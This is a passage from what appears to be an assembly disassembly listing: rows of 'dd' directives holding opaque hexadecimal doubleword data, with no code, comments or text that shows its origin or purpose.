0B660731Fh, 0F0A5A5FDh dd 0A190E02Ah, 5C3411F3h, 3619700Dh, 9E8019A5h, 99C131C5h dd 0BA46E4Dh, 0C964C262h, 0F96F38DAh, 7BBFF287h, 8C598FDEh dd 5EDE1B7Fh, 66DACDA8h, 7424399h, 1760096Ch, 515EDDE0h dd 0B23B8476h, 0EF384156h, 2AF09FE7h, 0ABEC7F43h, 6D31980Bh dd 0D87C7032h, 797185D4h, 23983363h, 49D81647h, 0C40794DDh dd 1F5F9AAFh, 0DD630571h, 41C6928Eh, 87853530h, 4AECF72h dd 0F778A5E2h, 374A41C0h, 898F3E2Dh, 3CAB1572h, 0D9BBC7h dd 9D891C33h, 6CFF651Eh, 5C314D2Fh, 0B242E281h, 5F17B3BEh dd 96FB75FEh, 31F27888h, 24F1ECE3h, 0EA23CFD6h, 8713462Bh dd 5C2EAB89h, 0AD75632Dh, 4338FD06h, 9477E7DEh, 4E192A64h dd 0C40B2412h, 0A1DED02Ah, 0CBE985B7h, 73F7AF9Fh, 0F03F669Fh dd 0C6F2720Fh, 388C3492h, 476CD560h, 83BEE4A9h, 91AA2BC6h dd 0F157A76Ah, 0CEC1E757h, 49E09873h, 97D6A663h, 0D682EFAEh dd 84D0A122h, 34A9D26Dh, 22A318CBh, 5699F95Bh, 0F67F8D10h dd 0F538E7E4h, 79CE8A2Ah, 1490B71Dh, 0C8E0A6E8h, 9C09DFFEh dd 0E99E81AFh, 0ADFFE7E6h, 0A7A611F9h, 0B1AD2632h, 0D2963A05h dd 0DFDF0C47h, 37941572h, 3655CFE5h, 2276BF7Fh, 0DD636E7Fh dd 2360CE5Eh, 0A18A6867h, 0FD743A83h, 69B32793h, 2BFE341Eh dd 633E339Fh, 251A900Dh, 4CF98759h, 15A14BE4h, 95774F66h dd 8562E203h, 13146AC7h, 14192E0h, 43022F40h, 8310E761h dd 48937E73h, 4E3404FEh, 0C528A65Bh, 0ED87D743h, 1A306EDCh dd 7F90688h, 0DAEEABAFh, 2D20FE00h, 0ED1E962Dh, 854314EDh dd 62D08869h, 7D728EBFh, 0AE666886h, 0D27D56ABh, 0B741A71Eh dd 0BC77F2CDh, 89E82609h, 0BF8F07CEh, 0F917FC00h, 669E8C9Ah dd 2CD309C9h, 0C42A723h, 60AB03FDh, 20222A9Dh, 0F2B6F606h dd 0C59F0673h, 0E50DAAB9h, 2364004Ch, 0F39393A9h, 0B845D134h dd 1C08E9B1h, 0A0C91526h, 0D287FF56h, 31485D69h, 0FFCBD618h dd 9CD6412Eh, 4901682Fh, 15B58DA0h, 1808920Ch, 0B1E844F6h dd 313F7A20h, 0A2CCE01Fh, 0E72DAF67h, 0BE520B60h, 0C9072669h dd 682D44CFh, 2F257A42h, 1545F17Ch, 0F326725Dh, 0DE53D1FAh dd 0FB0BF086h, 59869BBh, 0F359B723h, 94248BD8h, 99D2441Ch dd 3A414860h, 4DA32B2h, 0AD867965h, 0D6BDC7CCh, 0BDCFA4B7h dd 0DB7F6EF7h, 16A8F0A5h, 0A5103A3Ch, 0CEE4A485h, 34BE006Eh dd 0B85001AAh, 5376E909h dd 79109C55h, 0CF0F7B07h, 0B26DFC63h, 0A6CA8EDEh, 0E117A5C9h dd 28B58260h, 0D0EDB763h, 9409FAECh, 16BC4325h, 0D3642BFBh dd 0F0F2D17Ah, 7CB80A1h, 6E8F7C4Ch, 0E518AF82h, 68695CAAh dd 0D6491E17h, 0C9D734C0h, 0BE621171h, 0B95278DFh, 4AE0412Fh dd 5A133C9Eh, 15385962h, 0AE3E9A5h, 0C4B62E0Ch, 42A4A588h dd 0EB960ACFh, 10FED4FEh, 7E256286h, 4D94B2C9h, 9D7B03CDh dd 2D3CB4DEh, 86660264h, 835CCFA3h, 427002AAh, 722E4552h dd 47816FD7h, 0FB405D0Dh, 8DAA7A9Bh, 166A90D2h, 0C5E47C12h dd 0FBA3609Eh, 0E4E34912h, 0E44552EDh, 3080C8EAh, 1AE321CCh dd 4466F243h, 427A7AA7h, 8C803DF3h, 0C6A76858h, 0B05C776Ah dd 0CFCDB7C3h, 0E2F92692h, 7E263B34h, 0FFF6C728h, 0C6CD2173h dd 69768DFDh, 0FE93587Fh, 9C7D4D2Eh, 0F2093102h, 4921EEE2h dd 0AC647164h, 4509A471h, 23DC8EAAh, 0C3CA9193h, 0A6296F3Dh dd 570A3A44h, 0FBF53E4Eh, 6B3911F8h, 5EF550D5h, 0B25871ECh dd 0A3564E62h, 4E9F1CFh, 3F9102B3h, 0AFBA258Dh, 0CAA7C0Fh dd 0FED94061h, 56CCFDA9h, 0D06CF11Bh, 9CD99E7Ch, 0A2D10DEAh dd 0D55551CBh, 77EDCC8h, 28C66E6h, 0D9E79A5Bh, 61661A00h dd 1E4E520h, 21B30D14h, 0A5E0EC44h, 2C788ECDh, 230E0C34h dd 8B6169D0h, 69A57B56h, 299B6C8Ch, 0FF2DA4E8h, 9750A6F7h dd 0AF2CBB3Ah, 92497DADh, 0F52BE660h, 3F254C59h, 64AF6021h dd 5ACBEF6Ch, 0F28E240Ah, 793F868Dh, 50AE5FD4h, 12D49735h dd 9755FE68h, 0D9AFC548h, 0F3708E3Fh, 2E88F9BBh, 22027B5Dh dd 1B2801Dh, 7ABC9DB5h, 0FD9CECC0h, 1EAF2337h, 3BD3EDDBh dd 89EF7B64h, 88B000BCh, 56631F0Ah, 147EC11Fh, 367631C4h dd 0DB2857F3h, 0EA45E712h, 6193799Eh, 0EA53E71Bh, 4E1283C9h dd 4583FA77h, 0C30916FDh, 0D1486F28h, 105909DAh, 64A169A0h dd 4278EB98h, 9AEBB403h, 6CEBF636h, 146D6E75h, 2EB5ADBh dd 0F541DE7Dh, 0AF803DB8h, 824939E0h, 0C3E7D68Dh, 0B0F33DE8h dd 2DB8CC85h, 0F58D4758h, 0C8DB64F7h, 7D5CB6DDh, 2E4C7F88h dd 0F75A099Bh, 0E7F27DEBh, 5C879D2h, 5D8DC913h, 0FD921DE8h dd 618EF057h, 0C604190Eh, 4BD2A71h, 15E3862Fh, 9CFDC827h dd 1EEEA8A7h, 1A44D649h, 1A158399h, 0FDB2F521h, 93957E36h dd 3D53F31Fh, 3D968A81h, 0B220998Ch, 472191FEh, 71D71175h dd 6DE0F2F1h, 3C2C9B05h, 0C9DE3E94h, 10FB69E5h, 0F11C8939h dd 5CDD3DD3h, 563C39F5h, 48005819h, 0E1417590h, 8C953710h dd 4B9F8FBBh, 0F484704Ah, 910486D8h, 426394D2h, 0CD975485h dd 696FA4EDh, 0A382B239h, 0C5B52E3h, 0E27178CDh, 0E843EAAAh dd 0CEB08FC2h, 0C91A0221h, 0D78B16DBh, 6E6CEBD3h, 0C2434057h dd 80FF1765h, 89176C19h, 89BD8F2h, 51B8ED5Dh, 59C940A9h dd 9EE7904Eh, 0E1711263h, 9BDF9905h, 0A25CF9EBh, 0DA9C493Bh dd 0EE34B955h, 0FA12F217h, 176F92AEh, 867317F9h, 0AB3F8766h dd 97B02F08h, 8A0AA69Eh, 6362C8FCh, 8C6BE463h, 0C5D43397h dd 1D4D7825h, 5A921DF4h, 44766F32h, 82D7E1A2h, 0FBB58CFh dd 99B6FC02h, 1C05CA6Ch, 73E0BC7Bh, 9327B740h, 0F0258AB7h dd 0C1E73D8Dh, 16B9A529h, 2FF53317h, 140C53D4h, 19A122F3h dd 0B0909CAFh, 0FF5DBC2Eh, 63D3E850h, 7A7F61D6h, 0F769D8Dh dd 0AF41611Eh, 28C8C9B7h, 75ABCFFEh, 0E548F0ADh, 0BE0E7EA7h dd 5AED65A8h, 6CCB3A26h, 4C3CF70Bh, 4CEAEDEBh, 0D46060DBh dd 1DE96B2Ah, 16ED0D34h, 91DF9E50h, 5AA1CDE1h, 13348DBBh dd 3D3BAD77h, 0E9CC36D6h, 0EC195E3Ch, 0E4613ACFh, 7BF9AE89h dd 0A519383Bh, 17819FBDh, 55319B76h, 0AD13CC81h, 94FAB38Ah dd 4F6368E9h, 87E43387h, 6219FC45h, 7A5ECBFBh, 2F9715EEh dd 0E7A86EBAh, 0A8ECF490h, 16B27484h, 609D2CE6h, 564784F1h dd 7CE81B39h, 0E25C6432h, 28F792E3h, 0C50D3B60h, 1C458D4Ch dd 83518324h, 769B6B8Bh, 892299ABh, 4A5EB0C9h, 0D17F1DDEh dd 0EC93E474h, 0D8CCE528h, 0C2B09CFEh, 45A6AED4h, 322AD7ABh dd 0D2FF9F84h, 157C8363h, 0F9355B74h, 3578D36Ah, 0B4CAF8F4h dd 588BA0FFh, 3DBA3BDAh, 0E0770F1Eh, 8D1EBF23h, 0FB03F943h dd 0CC4B8865h, 0F3122F61h, 86216E39h, 0DF0E2D70h, 6B0E0A7h dd 0C11A0694h, 7E3906Ch, 0E0262194h, 863E96AEh, 0CA22B850h dd 5AFA8287h, 0D3C54049h, 0E149CD78h, 0AFDAFFC7h, 5B8B3741h dd 6BAF032Ah, 797C9C79h, 1E98BDEFh, 5F7E1D7Ah, 0D3CC69B7h dd 0D4E076A9h, 0F4B5F5DBh, 0D8CFCE00h, 41ACAF6h, 8763BB5Eh dd 3451DB38h, 20A587F2h, 0B13E8BD3h, 0C06D315Dh, 0C8E0F9BEh dd 0C7B4E513h, 0CAA9FB16h, 0E8CC5D2Ch, 266BE5B8h, 0D2F2A195h dd 0CB8C1B6Eh, 0C0C8BDF4h, 25E7FC36h, 0E4D2D2B5h, 6D5B33EDh dd 366F23DAh, 16B812E3h, 867CBB43h, 4121406Ah, 2B68A596h dd 8C7D82ADh, 97ACD8D0h, 0CB2783DFh, 13CDAFD9h, 6DBDD762h dd 941BD7E7h, 71E17007h, 1AC5494Eh, 0E87EFE60h, 495B9725h dd 0E628E89Dh, 0F034399h, 0F7B3E76Ah, 6A04F501h, 2758D13Dh dd 1F05F29Ch, 15A5796Ah, 0AB6394D5h, 0E04676AFh, 0B7CE0ABFh dd 0EB4BD7C3h, 8D546188h, 0A4E2673Dh, 8B150B8h, 679169ECh dd 0BF7AF30Dh, 0B628AC3Ch, 0D11EBEEDh, 0AEF7706h, 83D8DD2Dh dd 0ACD9A398h, 722F32E3h, 0BBCEB58Fh, 0B69A63A0h, 0AB23C840h dd 4EEA7E07h, 2A047B44h, 19BFFBC2h, 55726C65h, 3EC4E40Ah dd 0BEC31111h, 0DF14290Ah, 0FB9E292Eh, 0FE900507h, 8F02F6F3h dd 0C69A252h, 0D659573Ah, 9C4004AEh, 0D2BADEB8h, 471A38F7h dd 3273EE1h, 0DC75CEB2h, 0E7365B27h, 2178A10Bh, 0AA66B342h dd 6027BC88h, 5F2AF01Dh, 0E07CFB09h, 0C99FAC74h, 0A02F348Ch dd 0BC58FB61h, 2797F855h, 35A4F918h, 0E78A203Dh, 5FBDD985h dd 606F4561h, 0A7D85A8Ah, 0E55E4D86h, 0A6C654A8h, 0E592A734h dd 5D0B7915h, 0C38E1CD4h, 0BDE5B201h, 1A7C9C1Fh, 0B46CDB35h dd 0B13021A9h, 0F50F47CEh, 2AAE63A3h, 0F381FDA2h, 33FC4217h dd 0E9551672h, 96BA2EE6h, 0E033D4BCh, 0F2EF93BDh, 566486FCh dd 30B2FBC0h, 0D2D7B56Fh, 0F1285B1Dh, 2DCB63CCh, 648CA7D1h dd 3B6E1AD0h, 0F1C5915Ch, 3F29069Dh, 0FBEDFB06h, 2457AAA5h dd 91E6E89Ah, 40875D0Dh, 4D104B8Ch, 0CE6734B8h, 6F958D83h dd 170C57A8h, 727F7AA7h, 91450BBCh, 0BF237CA1h, 4A52CFD7h dd 238D1037h, 0DF2BF19Ch, 31D09B63h, 5A5D811Ch, 22ED2CADh dd 85BA81D0h, 8ED1E983h, 0C0226FB2h, 6BEC7094h, 0E204E200h dd 8E4272E1h, 934E42Ah, 9417BA87h, 1B6ADE7Dh, 0BE6A120Fh dd 0A20206E6h, 49D76A94h, 0F6DD4DE1h, 0E6677F59h, 0AF437024h dd 0AA91A6F7h, 166DB601h, 0CE141661h, 324704EEh, 5B1FA24Bh dd 254E058Fh, 0E8358A42h, 0FEABE7A8h, 54DE579Ch, 184E9E74h dd 20FD1A6Ch, 40D080Ah, 7362E1D8h, 7C29841Eh, 115B0C71h dd 9259211Fh, 2E6141h, 5AC61E47h, 40C09E87h, 0A9AFA6A6h dd 0E574AB82h, 5F1C596Bh, 0B3A5108Ch, 73F8FA75h, 0C8EBD5C5h dd 91A9182Ch, 0BCC377A5h, 4A182F4Eh, 0B081A6F1h, 5571F006h dd 0F458EAB3h, 55A0EBC4h, 7D20A366h, 0F1E3A33Bh, 0BAD0BD8h dd 0E5DEC1FEh, 0D989C02Ah, 488E47Bh, 0A0C3AA95h, 0A58C2891h dd 0FE2C8FADh, 6E8EB625h, 9C439CF8h, 247C9F2Ch, 4DEFF001h dd 0FC9FFD8Ch, 0ECDBE199h, 1D9139D8h, 9D8A6EE0h, 42CB5E73h dd 7748C5CDh, 68BE85C1h dd 21BCE3BDh, 1DF81689h, 0B6B8161Ah, 0C222D563h, 0D64D6668h dd 7AC902C8h, 65DDEC91h, 902F3DAFh, 7AEAF67Ah, 1FA3B284h dd 39E9F8D9h, 0AB907C08h, 3E9C6A83h, 9240B334h, 53370101h dd 0AA41A05Eh, 0DB5C30E7h, 3D9C954h, 8AC8F49h, 4715A11Ah dd 677D19F2h, 8CA23835h, 0DC0A7BD5h, 1853F385h, 6BF32060h dd 0A5E20BDEh, 0D89E3C78h, 0A9C259DEh, 347A68A0h, 37711BFh dd 7440D06Eh, 3CD777B6h, 9934EF8Dh, 87BFFA98h, 0E275104Ah dd 0C7EFA5DFh, 46B70CE6h, 0AC37EC82h, 34F66A2h, 99F3F13h dd 0C397CB20h, 10AECE02h, 315A1829h, 0B7FF555Bh, 0E87BA1B6h dd 70EF3874h, 3326F01Dh, 54AEDD0Ah, 3FBB5ABEh, 150B8602h dd 230322F6h, 4E638B67h, 5DA39F20h, 0BF17AE21h, 0BFFA4CB1h dd 0C5F459E1h, 3A5A0168h, 1DA93D6Fh, 0B08CDA59h, 0BF34DCA1h dd 4C50DD29h, 246AD109h, 0B3FAB5AEh, 26E3CC4h, 46CF3350h dd 0D1DECA10h, 9A378EA3h, 2A7C3Fh, 1DD2DDF6h, 0DDC1F9FBh dd 0C3DBE0FEh, 5BDCA2F0h, 703BDDE5h, 0E9A40C44h, 8577F88Dh dd 51BE5CC5h, 96169AC3h, 2164C8CEh, 9FB31EDAh, 644B04Ah dd 0F063984Ch, 0D65222CDh, 2CA7E3A8h, 0B5541694h, 73DBF74h dd 74704E37h, 2DCDF08h, 0D518D0FDh, 942D790h, 39F3524Dh dd 0CAE83338h, 1E759A71h, 8F6C660Eh, 0EF84AA4Eh, 0AD49E369h dd 0DBD7A4Bh, 76627488h, 51761E38h, 5FC39A80h, 571C4624h dd 3EC5AC01h, 0FF73296Fh, 270D8A74h, 0C8670F5Ah, 0B21518Bh dd 0EEBAB7B4h, 0E775A6D6h, 8D4D97E2h, 245938CDh, 5688761Bh dd 0DC8B40F1h, 7DECD301h, 0D581B573h, 0FC7D7EA8h, 5A7A14EEh dd 0BEFB7F6Ah, 0D721C65Eh, 0B74CEE88h, 62005F85h, 0C2B3CAE6h dd 6AFBBD88h, 0F8092A7h, 0C8C25B10h, 628AEAA8h, 827CC1E2h dd 9F9ECD7Fh, 93AA15B5h, 34E0E3D3h, 58740AC6h, 0E0678B86h dd 1E5C3AF5h, 3C92EC45h, 82D93967h, 7D5E3E81h, 0DE1BF926h dd 0C77C2E53h, 0E3B3F2EAh, 0C6C9E49Bh, 0EDE166A8h, 0FC959C4Ch dd 35B17408h, 9DF124D5h, 40E40B27h, 41FA4D17h, 0CD0509CDh dd 0D36759D3h, 0BA7F313Ch, 51A3E637h, 0E12FA005h, 0B66DA24Ah dd 25BE331Fh, 8649F97Bh, 0B626385Ch, 44F1F2F9h, 0D43EDA68h dd 9C8C3175h, 0FF9DC267h, 11BC7ABEh, 3E4766F1h, 0BEE93019h dd 17387C15h, 0DCA17728h, 0A82863Ch, 0A268C094h, 23B3355Ah dd 9B442A12h, 8F92A726h, 9D9ACBEDh, 6127E298h, 59B416E0h dd 797799B3h, 86021270h, 0E21B9137h, 911F47E5h, 0E7BD7B5h dd 8331E41Ah, 0E8648130h, 6EEC91D8h, 1403A71h, 9DFEFDEFh dd 0CD9C197Bh, 12C0F3BEh, 0DEA87859h, 0BF13EA76h, 305301F3h dd 0D9268C2Ah, 0D5C22C7Ch, 27BF8E34h, 84F0F72Fh, 0D734C940h dd 30204D13h, 7DD5DA89h, 6AF1994Bh, 8F14C5EFh, 74A76038h dd 5DD90538h, 0F57C8EE0h, 242DD3AAh, 0C073A00Ch, 86D08B98h dd 0CB3AE89Eh, 0EF4C8210h, 0B470EE0Eh, 39130398h, 0DCADA2A7h dd 0C52FBED2h, 6B566FACh, 7B7062AEh, 0CB98A4B2h, 7CECA351h dd 0A27CEC74h, 2DC31CF7h, 0EC9B376Ah, 0E5EA4319h, 5AAB8E7Dh dd 1764BE34h, 910099C8h, 945BF02Fh, 898070D8h, 0E1D2CB49h dd 44977A60h, 543B2CFEh, 0A21DF063h, 36747E39h, 0A8E96FF6h dd 3410CC3h, 8FA9ABCEh, 1FD1EC9Fh, 1295276Dh, 0E5572093h dd 0FE9EBBC7h, 82C20565h, 57D3812Ch, 815FA3BBh, 6CB88F9Fh dd 64EFDA2Ch, 5097C052h, 41F68A56h, 0FE51EB4Eh, 46522F13h dd 0FCB25809h, 0E6374C72h, 8C73E605h, 0EEC67C82h, 0B5090429h dd 1E4A8A94h, 0F401F1CBh, 0B8DB8210h, 4B54F6C2h, 0C90FF45h dd 775D391Fh, 0AFA10B8h, 0D9662FB4h, 8BAEC4A1h, 2C82DC5h dd 0CFF05531h, 94765D1Bh, 1E6B6C57h, 6E54EFEDh, 0B7221E9Bh dd 92D19ED2h, 993B4E45h, 6F7EF3C6h, 0D644BAF4h, 0D5B02D90h dd 0E13711CCh, 0F6891856h, 8FE3B0F1h, 0EEEFD58Bh, 22DEB09Bh dd 0C3701D3Eh, 352C06FEh, 0CCBA4197h, 0B97F7DD5h, 0EDD6F799h dd 82EE09F4h, 470D705Bh, 0ED22298Dh, 67C6351Eh, 54CC48C7h dd 96DA869Fh, 7498C6F6h, 0FE0624F9h, 25DB431Dh, 37DD43DEh dd 4136DA34h, 9C3CDEAh, 653EA17Eh, 234FB856h, 8EE28F54h dd 0A1F2A7AFh, 0ADE4943Ch, 33FB43C6h, 4EA2046Ah, 0E1488171h dd 48D8B200h, 450A152Ah, 446725E3h, 0CBF169A1h, 4971052Dh dd 578ECCBh, 0C472545Ah, 5F5C71C8h, 0C60941A2h, 3A67B390h dd 0DE0F82F9h, 6BF134E4h, 0B96E6285h, 4D20D1A8h, 0AD932727h dd 48D3CE0Dh, 0B37FA82Ch, 58D4C8DBh, 0EA7930A3h, 86ACCE35h dd 0B80C0AE6h, 7D09026Ah, 0B0843A1Ch, 683E656Bh, 0B08AF1D8h dd 0EB81C48Fh, 5F94E463h, 2C2D15B0h, 4C6F32DBh, 0CFEA1C44h dd 0C9E4B9E5h, 0AFC248C1h, 0E53D6412h, 0F6F13DC3h, 0BBA070CBh dd 0FBFA515Fh, 0A0CA4EB6h, 69E7437h, 26920729h, 0BE2F67BFh dd 0DCEDD691h, 379746B2h, 0D1C8E309h, 481C4E8Dh, 0F251CE20h dd 78A927D6h, 59A52DBh, 1723B0E7h, 0B0DC7535h, 47B5B4C4h dd 4CE7247Ch, 27D13A9Ch, 7F1F2B8Ch, 4CE01D6Bh, 7A11FAC9h dd 60BF0185h, 2D11C9EAh, 563EC54h, 35E2AE67h, 0BC695375h dd 0D9AC858Dh, 61BE973h, 6D832FD6h, 0B9305E0Bh, 95B3FF4Bh dd 777AD887h, 6DFD8727h, 9A9C7946h, 3FC98C31h, 7EA38D4h dd 0E44930FBh, 3D8327FEh, 0C68A575Fh, 4DE8D7F9h, 0E2AEEA45h dd 7C6B45C3h, 0E193F614h, 4B67F9EBh, 39869326h, 0AC2B9DEFh dd 137FF28Ah, 5FFBC0Dh, 0D2B29054h, 6CDA34AAh, 0C76EB36Dh dd 6BB41222h, 1C061B70h, 56778291h, 757CA16Fh, 0E5998D7Eh dd 3E10EDE4h, 2B126C28h, 0BE3D76C3h, 9E9A3F4Fh, 3A211AADh dd 0B5A94C61h, 48B73DCEh, 0C8818954h, 0FAFBC0E2h, 0B8DB60EBh dd 7FC0345Fh, 0F6202455h, 3744198Ch, 0E4C809D5h, 0B916B51h dd 45CB8342h, 581AE2Eh, 199EC08Ch, 4AD3A060h, 0A4BD3B21h dd 1051B537h, 0FE8D2143h, 0D0C6A211h, 0EA6BA6BAh, 37D70322h dd 1687C8C7h, 0B81D057Dh, 0CCA9848Ah, 257E6ABDh, 229B73EDh dd 0DCFD9E7Ah, 0DF83EA4Eh, 0C768CBE0h, 64D55A63h, 245F6B12h dd 0AD4ADEE6h, 590F91EDh, 25B5662Ch, 1F261E81h, 61CB26F5h dd 8BFD9C66h, 53F468ACh, 0B505EB8Ch, 0E4F6987Ah, 4551B9F0h dd 795A613Fh, 0F0BA1F6Dh, 0F5273E0h, 0CEE569F9h, 0C1EED4FDh dd 94B085A3h, 6705E791h, 3351FEB4h, 11B3EF52h, 20B12798h dd 85E8C952h, 356A1388h, 273B5FC3h, 281A7768h, 0C4FC8D86h dd 8B48A07Ch, 2F184395h, 0C31E89D2h, 0EB4ED40Eh, 0F4F9D7C2h dd 0F4F8EA25h, 64EAD37Ah, 36FDB63Fh, 2AE95029h, 187FC806h dd 407D5DBEh, 67ADF1FDh, 98666B48h, 5CE6A9C7h, 992D5C71h dd 0E7460BECh, 245CBC0Bh, 0FB302EC7h, 8A260D5Dh, 1F740002h dd 211048FEh, 0ED7D890Eh, 838BC355h, 0BAE66D9Dh, 9FB347FAh dd 98375068h, 1D8B4417h, 664387Fh, 334BE3DFh, 9FD0561Bh dd 0E781631Ah, 0D5E2D878h, 531FE6A1h, 78E53810h, 0F4A4DE03h dd 69B4559Eh, 0F1818DA1h, 982EE4BEh, 0B8AE0447h, 5A9CBE06h dd 0F4DF9163h, 9E03AB25h, 0F23AA776h, 7805E7FDh, 0D0E8636h dd 0EA67F9C0h, 0F1503441h, 6679337Bh, 7105E571h, 0A2F90A89h dd 0CF56AC2Fh, 28443CE9h, 0F3311066h, 8EB4711h, 0B46A1A7h dd 9D559303h, 880D5DF3h, 54B826Fh, 1C8CAD3Dh, 0B66BEF3Bh dd 89080CD8h, 0A6F1B4BBh, 727E6D0Ch, 82C7CF64h, 0C262DF47h dd 78BC6A32h, 49004A0Fh dd 79BC2A44h, 0BA753A4Bh, 7C78177Fh, 0C6392836h, 0C197A48Fh dd 5874072Eh, 0F6C993F2h, 77E1674Eh, 0BE553548h, 6FF41BFFh dd 0F5850CA6h, 62853D04h, 0D00DBCF4h, 280FF6E2h, 7D582044h dd 3D677A0h, 43359B03h, 0DF76DD0Bh, 3D4E0792h, 15D2A065h dd 10D2D34Eh, 43D99A5Ah, 0DA9D3A80h, 80D2603Ah, 0CA341259h dd 0D40E237Dh, 3C7DBB77h, 5CCA3CC1h, 0F73A402Bh, 827F6E62h dd 1B39BBC7h, 6C5CA00Bh, 5089FB43h, 91880F64h, 5A5DECF4h dd 6BA37FCFh, 0DFD06F31h, 1E4C859Ah, 0FA339109h, 44D4EA6Ch dd 35412917h, 3463F65Dh, 312D5C46h, 3EDE1325h, 0EFC021C5h dd 0A353FAFAh, 75A1E45Ch, 3F9836ABh, 65B7468Ch, 410781F9h dd 1DCEAE11h, 37C8EBh, 0E939D4CDh, 15874F33h, 953E74CEh dd 98CD0ADCh, 3392C68h, 2298BB2Dh, 1E709E10h, 45DC7730h dd 4B5F31F3h, 240F2DE4h, 501ADB86h, 13D6FC17h, 0A0306B7Eh dd 0A8873BE7h, 14088DABh, 6AD15723h, 3B7AD296h, 6AC41B78h dd 5A5F077Dh, 98194F43h, 63AF85BBh, 887ADDEAh, 0CA86709h dd 1A0B83D2h, 6FF4D132h, 68577907h, 60395CC8h, 0CDEEBDA0h dd 0E3BD43B1h, 65477A5Bh, 0F6E6A698h, 0C3D4DCCh, 0E6F6C6E0h dd 6946251h, 0E055FD4Bh, 0F218FFF5h, 3EB2F829h, 0FCF2350Ah dd 0ACAC4113h, 0B1903A4h, 281C6Dh, 3084A5F2h, 765FB835h dd 6367D0A3h, 0EF170226h, 9177DBD5h, 8BA8BEECh, 62177278h dd 474C4E92h, 0A4E9142h, 33D1005Ah, 42043828h, 0FDA7A132h dd 0AC3ECD96h, 2539D5CAh, 0DD3281FBh, 0D1EEE24Bh, 361D058Ah dd 0D28DF2DDh, 858353A3h, 0BE2BDEFBh, 67C1BFC1h, 84F070FBh dd 0C3F1958Ch, 3755C83Ah, 0D1026DFBh, 42F3687Dh, 318E2EF1h dd 0DE820C07h, 0CAFD8609h, 0F252D4Ch, 44441236h, 922C9CB3h dd 0F55D870Fh, 0EE06CF61h, 5DD7F501h, 308D5A46h, 0A28F4909h dd 2FF1F962h, 77529360h, 0A98054E4h, 57014F73h, 0B4193FE4h dd 5C21786Ch, 6C876CF8h, 0DFFB776Fh, 1C1F1F8Dh, 7086B303h dd 0C28C0335h, 0A3F2210Ah, 307959E1h, 0A06DCAAEh, 0B2483EEDh dd 78E3EF69h, 30620F03h, 0D1BD2DE1h, 44B3A70Ah, 0C121074Eh dd 49BF4ADCh, 6F0FC03Eh, 0B723AE27h, 946DD99Dh, 0DE7525A7h dd 0F5BA7E9Ah, 6E5BBF8Eh, 9641D012h, 732BC4EEh, 50320E9Bh dd 29ADB30Ah, 36142FE1h, 57C766D9h, 31F0EB48h, 2E6327A3h dd 0D568851Fh, 334C304Ah, 55E52F64h, 0F56BA2ABh, 4AB40482h dd 917E4BA4h, 0F9CE6E8Eh, 56BFC135h, 1B1BDB52h, 0DA578993h dd 1A02AA1Ch, 36B7B565h, 67628B4h, 0D675E18Dh, 29B291EBh dd 0A1369B8Eh, 0FF602D5Ah, 15C24649h, 92791F0Eh, 94C29451h dd 0D3CBE113h, 0B8AEA3DCh, 0FF4B48D3h, 91262F8Ah, 0A292FC02h dd 0AA9DD323h, 8330238Ah, 192C63D6h, 12403797h, 0E9B2ECCDh dd 426DBB3Bh, 7A9A2D3Fh, 0B626DBF8h, 0FECB22A7h, 309BCD65h dd 0E2556F53h, 0C42E49F7h, 709BD43Ah, 0A5F2069Ch, 5B733B7Dh dd 68E9A53Ch, 5AFCEC69h, 9CD3D018h, 7B6E54Fh, 0DB25067Bh dd 0C268D218h, 0B73A5BA4h, 0EC46E5ABh, 11D39C11h, 0FB221C57h dd 8DA2FB94h, 7E34F4D3h, 1703BB42h, 560ABB1Ah, 0DFB5B414h dd 2461C09Fh, 0C2852E7Bh, 0C3F4E20Fh, 0D2799764h, 0AA56215Dh dd 97777669h, 88AF03F5h, 409627h, 0A1A5371Ah, 0CEB26EBAh dd 0B80F1AE6h, 991C1D1Eh, 0D582E300h, 879A368Fh, 0E0B1DB39h dd 0D92358C3h, 55625A1h, 24C60DF1h, 90511C57h, 5DA0BB36h dd 0B5870A8Fh, 0BF2E69B5h, 0A4F0547Dh, 726A667Dh, 883CE5FCh dd 0F6FE1F48h, 881ACD1Ah, 11A95338h, 4EC3576h, 9C370640h dd 3EA1BD2Dh, 3F23E9E3h, 983A98DCh, 5F7A6557h, 3871AEA6h dd 0A42814B0h, 79CB93BCh, 0CAD066B9h, 0A20D62E7h, 6A4B47FEh dd 5396AD3Dh, 87C7D7B5h, 7C1787C7h, 0E8EE3E9Eh, 95C601B5h dd 0EDEBF77Ch, 63BA9252h, 1E0CF81Dh, 711A6D0Bh, 667B5E48h dd 23BFB37h, 0A37DC846h, 2429386Dh, 9569A20Bh, 3EDBD7E0h dd 0AFE9A6E8h, 4D8D86D7h, 0DE48853Dh, 1C49B14Fh, 0E5D4C47Ch dd 1EBA4EC1h, 71ED09Bh, 0C0E4094Ah, 0D39D898Bh, 78D1ECAEh dd 283A1188h, 0C3BBB012h, 699321C7h, 722807Fh, 50E515A0h dd 0D8D779A3h, 0EA574507h, 0E926182Dh, 5091B468h, 6BE9B2F5h dd 0F5E7C8F5h, 0F6016A29h, 0C60F0BF4h, 0F1112012h, 7C562E89h dd 0E444811Bh, 0C10DDBF5h, 0F3F7D911h, 0A65CF071h, 29857800h dd 4281557Ah, 21B6B167h, 27AC05Bh, 30B6F944h, 85C513E9h dd 0E45EF349h, 332CFFA7h, 37CFFF66h, 1148E7BEh, 1A3E3CE6h dd 0B380EC04h, 2F2D5D5Bh, 33B0EA0h, 0A4251630h, 37C355FFh dd 45A08CB4h, 459E9507h, 1896FAADh, 1C291DC5h, 9FD897E2h dd 0D58F7028h, 0C4011E69h, 843DEB98h, 0DE1F2615h, 1F202F50h dd 875B5D6h, 0D9391700h, 0E0B37638h, 61E456AEh, 0D529510h dd 1E2837FEh, 0F72A0705h, 6FB3579Bh, 0D86ACA09h, 0FDBEB5D8h dd 0B0BA639Fh, 0A6DE7415h, 7A5E7F0Fh, 231F91CFh, 0C7055FAFh dd 4AD24019h, 839BDD10h, 0B9BBA589h, 0EEEB7555h, 713A2EF1h dd 6784E5E0h, 1ED5CEFEh, 0E348A01Ah, 51B326EFh, 5575DF48h dd 540CA79Ah, 8645B3DBh, 0D81DF02h, 338C1DFh, 657A707Ch dd 0CF2C8129h, 5392A343h, 0D4746491h, 220B5550h, 0C2B7782Ah dd 0D4DF3434h, 13A979A7h, 292E9C46h, 7F76D27Bh, 6A5A7018h dd 81641B36h, 6DAA058Eh, 0EA525418h, 0CBB85A31h, 43B6C88Dh dd 58C42D2Bh, 9FAA4773h, 9F206C16h, 3897355Fh, 0E95A4A02h dd 6317119Dh, 7B37E60h, 33077CE3h, 75DFFBD5h, 3D65646h dd 